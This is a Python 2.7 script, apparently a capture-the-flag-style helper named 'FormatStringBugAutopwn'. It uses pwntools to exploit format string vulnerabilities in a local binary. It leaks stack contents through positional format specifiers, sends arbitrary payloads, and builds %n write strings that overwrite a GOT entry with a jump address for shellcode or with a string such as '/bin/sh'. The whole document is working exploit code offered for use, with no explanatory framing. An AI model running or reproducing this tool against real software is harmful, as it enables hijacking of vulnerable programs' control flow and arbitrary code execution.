Format String Bug exploitation with pwntools example

FormatStringBugAutopwn

#!/usr/bin/python2.7

import argparse
import re

import pwnlib

def execute_with_payload(binary_name, payload):
    ans = ""
    proc = pwnlib.tubes.process.process(
        executable=binary_name,
        argv=[binary_name],
        stdin=pwnlib.tubes.process.PTY
        )
    try:
        proc.sendline(payload)
        ans = proc.recv(timeout=0.1)
    except EOFError:
        pass
    finally:
        proc.close()
    return ans


def stack(binary_name, printf_format, stack_length, stack_offset):
    for i in xrange(stack_offset, stack_length + stack_offset):
        ans = execute_with_payload(
            binary_name,
            re.sub('%([a-zA-Z]+)', '%{0}$\\1'.format(i), printf_format)
            )
        print '{0}: "{1}"'.format(i, ans)


def custom_payload(binary_name, payload):
    print execute_with_payload(binary_name, payload)


def write_sequence_of_bytes(arg_offset, addr_to_write, sequence_of_bytes):
    exploit_string = ''

    #write addreses
    for i in xrange(len(sequence_of_bytes)):
        exploit_string += pwnlib.util.packing.p32(int(addr_to_write, 16)+i)

    #write new values
    current_len = len(exploit_string)
    for i in xrange(len(sequence_of_bytes)):
        current_hex_char = int(sequence_of_bytes[i].encode('hex'), 16)
        padding = 0
        if current_len < current_hex_char:
            padding = current_hex_char - current_len
        elif current_len > current_hex_char:
            padding = 0x10000 - current_len + current_hex_char
        current_len += padding
        current_len = current_len%0x10000
        if padding >= 8:
            exploit_string += "%{padding}x%{arg_offset}$n".format(padding=padding, arg_offset=arg_offset+i)
        else:
            exploit_string += "{padding}%{arg_offset}$n".format(padding="A"*padding, arg_offset=arg_offset+i)
    else:
        pass
        #padding = 0x10000 - current_len
        #exploit_string += "%{padding}x".format(padding=padding)

    print exploit_string


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument(
        'binary_name',
        help='name of examined binary'
        )
    subparsers = parser.add_subparsers(help='commands', dest="command")
    stack_parser = subparsers.add_parser('stack')
    stack_parser.add_argument(
        'format',
        type=str,
        help='format which will pass to vuln param'
        )
    stack_parser.add_argument(
        'stack_length',
        type=int,
        help='number of printed items'
        )
    stack_parser.add_argument(
        '--stack_offset',
        type=int,
        default=1,
        help='where to start from'
        )
    
    custom_parser = subparsers.add_parser('custom')
    custom_parser.add_argument(
        'format',
        type=str,
        help='this will be passed to binary'
        )

    write_addr_parser = subparsers.add_parser('write_addr')
    write_addr_parser.add_argument(
        'arg_offset',
        type=int,
        help='offset of the argument'
        )
    write_addr_parser.add_argument(
        'addr_to_write',
        type=str,
        help='got entry to write'
        )
    write_addr_parser.add_argument(
        'addr_to_jump',
        type=str,
        help='addres with shellcode/payload/etc...'
        )

    write_str_parser = subparsers.add_parser('write_str')
    write_str_parser.add_argument(
        'arg_offset',
        type=int,
        help='offset of the argument'
        )
    write_str_parser.add_argument(
        'addr_to_write',
        type=str,
        help='got entry to rewrite'
        )
    write_str_parser.add_argument(
        'str_to_write',
        type=str,
        help='your string to write(payload, /bin/sh, etc...)'
        )

    args = parser.parse_args()

    if args.command == 'stack':
        stack(args.binary_name, args.format, args.stack_length, args.stack_offset)
    elif args.command == 'custom':
        custom_payload(args.binary_name, args.format)
    elif args.command == 'write_addr':
        write_sequence_of_bytes(args.arg_offset, args.addr_to_write, pwnlib.util.packing.p32(int(args.addr_to_jump,16)))
    elif args.command == 'write_str':
        write_sequence_of_bytes(args.arg_offset, args.addr_to_write, args.str_to_write)
    else:
        raise Exception("there is no valid arg") # for debug

    pwnlib.context.context.update(arch='i386', os='linux')

if __name__=="__main__":
    main()